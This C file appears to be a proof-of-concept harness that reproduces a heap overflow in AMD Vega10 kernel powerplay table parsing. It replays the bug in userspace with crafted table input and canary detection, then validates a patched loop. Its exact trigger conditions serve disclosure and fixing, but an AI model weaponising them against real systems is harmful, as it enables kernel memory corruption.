/*
 * DF-4395 harness — get_dcefclk_voltage_dependency_table() heap OOB write
 *                     (pioneer-workaround path, sys/dev/drm/amd/powerplay/
 *                      hwmgr/vega10_processpptables.c:695-755)
 *
 * Faithful replica of the allocation-size decision (lines 718-738) and the
 * copy loop (lines 740-750), driven with the exact ATOM / powerplay struct
 * layouts from vega10_pptable.h and hwmgr_ppt.h, against a crafted DCEFCLK
 * dependency table. The destination "kzalloc" is emulated with a
 * canary-guarded heap block so the linear overflow is observable.
 *
 * Trigger conditions replicated verbatim from the kernel code:
 *   adev->pdev->device == 0x6863 (pioneer Vega10 SKU)
 *   adev->pdev->revision == 0
 *   clk_dep_table->entries[ucNumEntries-1].ulClk < 90000
 *   => num_entries = min(ucNumEntries + 1, NUM_DSPCLK_LEVELS=8)
 *   but the copy loop iterates clk_dep_table->ucNumEntries  <-- the bug
 *
 * Build: cc -O2 -Wall -o dcefclk_oflow dcefclk_oflow.c
 */
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <stddef.h>

/* ---- vega10_processpptables.c:34 ---- */
#define NUM_DSPCLK_LEVELS 8

/* ---- vega10_pptable.h:181-185 : ATOM_Vega10_DCEFCLK_Dependency_Table ---- */
typedef uint8_t  UCHAR;
typedef uint16_t USHORT;
typedef uint32_t ULONG;

struct atom_clk_dep_record {          /* ATOM_Vega10_CLK_Dependency_Record */
	ULONG  ulClk;                 /* 4 */
	UCHAR  ucVddInd;              /* 1 */
	                                  /* 3 pad -> sizeof 8 */
};

struct atom_dcefclk_dep_table {       /* ATOM_Vega10_DCEFCLK_Dependency_Table */
	UCHAR ucRevId;
	UCHAR ucNumEntries;
	struct atom_clk_dep_record entries[256];
};

/* ---- hwmgr_ppt.h:31-45 : phm_ppt_v1_clock_voltage_dependency_record ---- */
struct ppt_clk_dep_record {
	uint32_t clk;          /* +0  */
	uint8_t  vddInd;       /* +4  */
	uint8_t  vddciInd;     /* +5  */
	uint8_t  mvddInd;      /* +6  */
	uint8_t  _pad0;        /* +7  */
	uint16_t vdd_offset;   /* +8  */
	uint16_t vddc;         /* +10 */
	uint16_t vddgfx;       /* +12 */
	uint16_t vddci;        /* +14 */
	uint16_t mvdd;         /* +16 */
	uint8_t  phases;       /* +18 */
	uint8_t  cks_enable;   /* +19 */
	uint8_t  cks_voffset;  /* +20 */
	uint8_t  _pad1[3];     /* +21..23 */
	uint32_t sclk_offset;  /* +24 -> sizeof 28 */
};

struct ppt_clk_dep_table {            /* phm_ppt_v1_clock_voltage_dependency_table */
	uint32_t count;
	struct ppt_clk_dep_record entries[1]; /* dynamically sized */
};

#define GUARD 8192
#define CANARY 0xC7

/* emulated kzalloc with canary guard after the object */
static struct ppt_clk_dep_table *kzalloc_guarded(uint32_t size, void **rawp,
						 uint8_t **guardp)
{
	uint8_t *raw = calloc(1, size + GUARD);
	memset(raw + size, CANARY, GUARD);
	*rawp = raw;
	*guardp = raw + size;
	return (struct ppt_clk_dep_table *)raw;
}

static long guard_damage(const uint8_t *guard)
{
	long n = 0;
	for (long i = 0; i < GUARD; i++)
		if (guard[i] != CANARY)
			n++;
	return n;
}

/* ================= exact replica of vega10_processpptables.c:695-755 ==== */
static int get_dcefclk_voltage_dependency_table(
		uint32_t dev_id, uint32_t rev_id,
		struct ppt_clk_dep_table **out,
		const struct atom_dcefclk_dep_table *clk_dep_table)
{
	uint32_t table_size, i;
	uint8_t num_entries;
	struct ppt_clk_dep_table *clk_table;
	void *raw; uint8_t *guard;

	/* vega10_processpptables.c:709-710 (assert ucNumEntries != 0) */
	if (clk_dep_table->ucNumEntries == 0)
		return -1;

	/* lines 718-726 : the pioneer workaround */
	if (dev_id == 0x6863 && rev_id == 0 &&
	    clk_dep_table->entries[clk_dep_table->ucNumEntries - 1].ulClk < 90000)
		num_entries = clk_dep_table->ucNumEntries + 1 > NUM_DSPCLK_LEVELS ?
				NUM_DSPCLK_LEVELS : clk_dep_table->ucNumEntries + 1;
	else
		num_entries = clk_dep_table->ucNumEntries;

	/* lines 729-733 : kzalloc sized by num_entries (!) */
	table_size = sizeof(uint32_t) +
			sizeof(struct ppt_clk_dep_record) * num_entries;
	clk_table = kzalloc_guarded(table_size, &raw, &guard);
	clk_table->count = (uint32_t)num_entries;

	/* lines 740-745 : the copy loop bounded by ucNumEntries (!!) */
	for (i = 0; i < clk_dep_table->ucNumEntries; i++) {
		clk_table->entries[i].vddInd =
				clk_dep_table->entries[i].ucVddInd;
		clk_table->entries[i].clk =
				clk_dep_table->entries[i].ulClk;
	}

	/* lines 747-750 */
	if (i < num_entries) {
		clk_table->entries[i].vddInd = clk_dep_table->entries[i-1].ucVddInd;
		clk_table->entries[i].clk = 90000;
	}

	*out = clk_table;
	return 0;
}

/* patched loop (fix: bound by num_entries — matches upstream) */
static int get_dcefclk_patched(uint32_t dev_id, uint32_t rev_id,
		struct ppt_clk_dep_table **out,
		const struct atom_dcefclk_dep_table *clk_dep_table)
{
	uint32_t table_size, i;
	uint8_t num_entries;
	struct ppt_clk_dep_table *clk_table;
	void *raw; uint8_t *guard;

	if (clk_dep_table->ucNumEntries == 0)
		return -1;

	if (dev_id == 0x6863 && rev_id == 0 &&
	    clk_dep_table->entries[clk_dep_table->ucNumEntries - 1].ulClk < 90000)
		num_entries = clk_dep_table->ucNumEntries + 1 > NUM_DSPCLK_LEVELS ?
				NUM_DSPCLK_LEVELS : clk_dep_table->ucNumEntries + 1;
	else
		num_entries = clk_dep_table->ucNumEntries;

	table_size = sizeof(uint32_t) +
			sizeof(struct ppt_clk_dep_record) * num_entries;
	clk_table = kzalloc_guarded(table_size, &raw, &guard);
	clk_table->count = (uint32_t)num_entries;

	for (i = 0; i < num_entries; i++) {           /* <-- FIXED bound */
		clk_table->entries[i].vddInd =
				clk_dep_table->entries[i].ucVddInd;
		clk_table->entries[i].clk =
				clk_dep_table->entries[i].ulClk;
	}

	if (i < num_entries) {
		clk_table->entries[i].vddInd = clk_dep_table->entries[i-1].ucVddInd;
		clk_table->entries[i].clk = 90000;
	}

	*out = clk_table;
	return 0;
}

static struct atom_dcefclk_dep_table *craft_vbios(uint8_t n, uint32_t base_clk)
{
	struct atom_dcefclk_dep_table *t = calloc(1, sizeof(*t));
	t->ucRevId = 0;
	t->ucNumEntries = n;
	for (int i = 0; i < n; i++) {
		t->entries[i].ulClk = base_clk + i;   /* last entry < 90000 -> workaround fires */
		t->entries[i].ucVddInd = (uint8_t)i;
	}
	return t;
}

static void report(const char *tag, uint8_t n, const uint8_t *guard,
		   void *raw, uint32_t num_entries)
{
	long dmg = guard_damage(guard);
	uint32_t alloc = sizeof(uint32_t) + sizeof(struct ppt_clk_dep_record) * num_entries;
	uint32_t last_write_end = sizeof(uint32_t) + sizeof(struct ppt_clk_dep_record) * n;
	printf("  [%s] ucNumEntries=%3u num_entries(alloc)=%3u "
	       "alloc=%u B, copy-loop writes through byte %u -> %ld guard bytes SMASHED %s\n",
	       tag, n, num_entries, alloc, last_write_end, dmg,
	       dmg ? ">>> HEAP OVERFLOW CONFIRMED" : "(guard intact)");
	free(raw);
}

int main(void)
{
	struct ppt_clk_dep_table *out;
	struct atom_dcefclk_dep_table *vbios;
	void *raw; uint8_t *guard;

	printf("=== DF-4395: vega10 get_dcefclk_voltage_dependency_table OOB write ===\n");
	printf("sizeof(phm_ppt_v1_clock_voltage_dependency_record)=%zu (expect 28)\n\n",
	       sizeof(struct ppt_clk_dep_record));

	/* sanity 1: pioneer card, benign count=6 -> alloc 7, copy 6 + 1 extra: fits */
	vbios = craft_vbios(6, 1000);
	get_dcefclk_voltage_dependency_table(0x6863, 0, &out, vbios);
	report("control  ", 6, (uint8_t *)out + sizeof(uint32_t) +
	       sizeof(struct ppt_clk_dep_record) * 7, out, 7);
	free(vbios);

	/* the bug: pioneer card, ucNumEntries=9 -> alloc capped at 8, loop copies 9 */
	vbios = craft_vbios(9, 1000);
	get_dcefclk_voltage_dependency_table(0x6863, 0, &out, vbios);
	report("n=9      ", 9, (uint8_t *)out + sizeof(uint32_t) +
	       sizeof(struct ppt_clk_dep_record) * 8, out, 8);
	free(vbios);

	/* worst case: ucNumEntries=255 -> alloc 4+28*8=228 B, copy loop writes
	 * 4+28*255=7144 B -> 6916 B past the kzalloc'd object */
	vbios = craft_vbios(255, 1000);
	get_dcefclk_voltage_dependency_table(0x6863, 0, &out, vbios);
	{
		uint8_t *g = (uint8_t *)out + sizeof(uint32_t) +
			     sizeof(struct ppt_clk_dep_record) * 8;
		long dmg = guard_damage(g);
		printf("  [n=255   ] ucNumEntries=255 num_entries(alloc)=8 "
		       "alloc=%u B, copy-loop writes through byte %u -> %ld guard bytes SMASHED %s\n",
		       (unsigned)(4 + 28 * 8), 4 + 28 * 255, dmg,
		       dmg ? ">>> HEAP OVERFLOW CONFIRMED (6916 B past object)" : "(intact)");
		/* show a sample of what landed past the object: attacker u32 clks */
		struct ppt_clk_dep_record *first_oob =
			(struct ppt_clk_dep_record *)((uint8_t *)out + 4 + 28 * 8);
		printf("             first OOB record: clk=0x%08x vddInd=%u "
		       "(kernel heap gets VBIOS-chosen u32 dwords every 28 bytes)\n",
		       first_oob->clk, first_oob->vddInd);
		free(out); free(vbios);
	}

	/* negative control A: non-pioneer device (0x687f) count=255 -> alloc==loop */
	vbios = craft_vbios(255, 1000);
	get_dcefclk_voltage_dependency_table(0x687f, 0, &out, vbios);
	report("dev!=6863", 255, (uint8_t *)out + sizeof(uint32_t) +
	       sizeof(struct ppt_clk_dep_record) * 255, out, 255);
	free(vbios);

	/* negative control B: pioneer + rev 1 -> workaround off */
	vbios = craft_vbios(255, 1000);
	get_dcefclk_voltage_dependency_table(0x6863, 1, &out, vbios);
	report("rev=1    ", 255, (uint8_t *)out + sizeof(uint32_t) +
	       sizeof(struct ppt_clk_dep_record) * 255, out, 255);
	free(vbios);

	/* fix validation: patched loop bound (num_entries), pioneer, n=255 */
	vbios = craft_vbios(255, 1000);
	get_dcefclk_patched(0x6863, 0, &out, vbios);
	report("PATCHED  ", 255, (uint8_t *)out + sizeof(uint32_t) +
	       sizeof(struct ppt_clk_dep_record) * 8, out, 8);
	free(vbios);

	printf("\n[+] DF-4395 CONFIRMED: pioneer path allocates min(ucNumEntries+1,8) records\n"
	       "    but copies ucNumEntries records -> linear heap OOB write,\n"
	       "    (ucNumEntries-8)*28 = up to 6916 bytes of VBIOS-controlled data.\n");
	return 0;
}
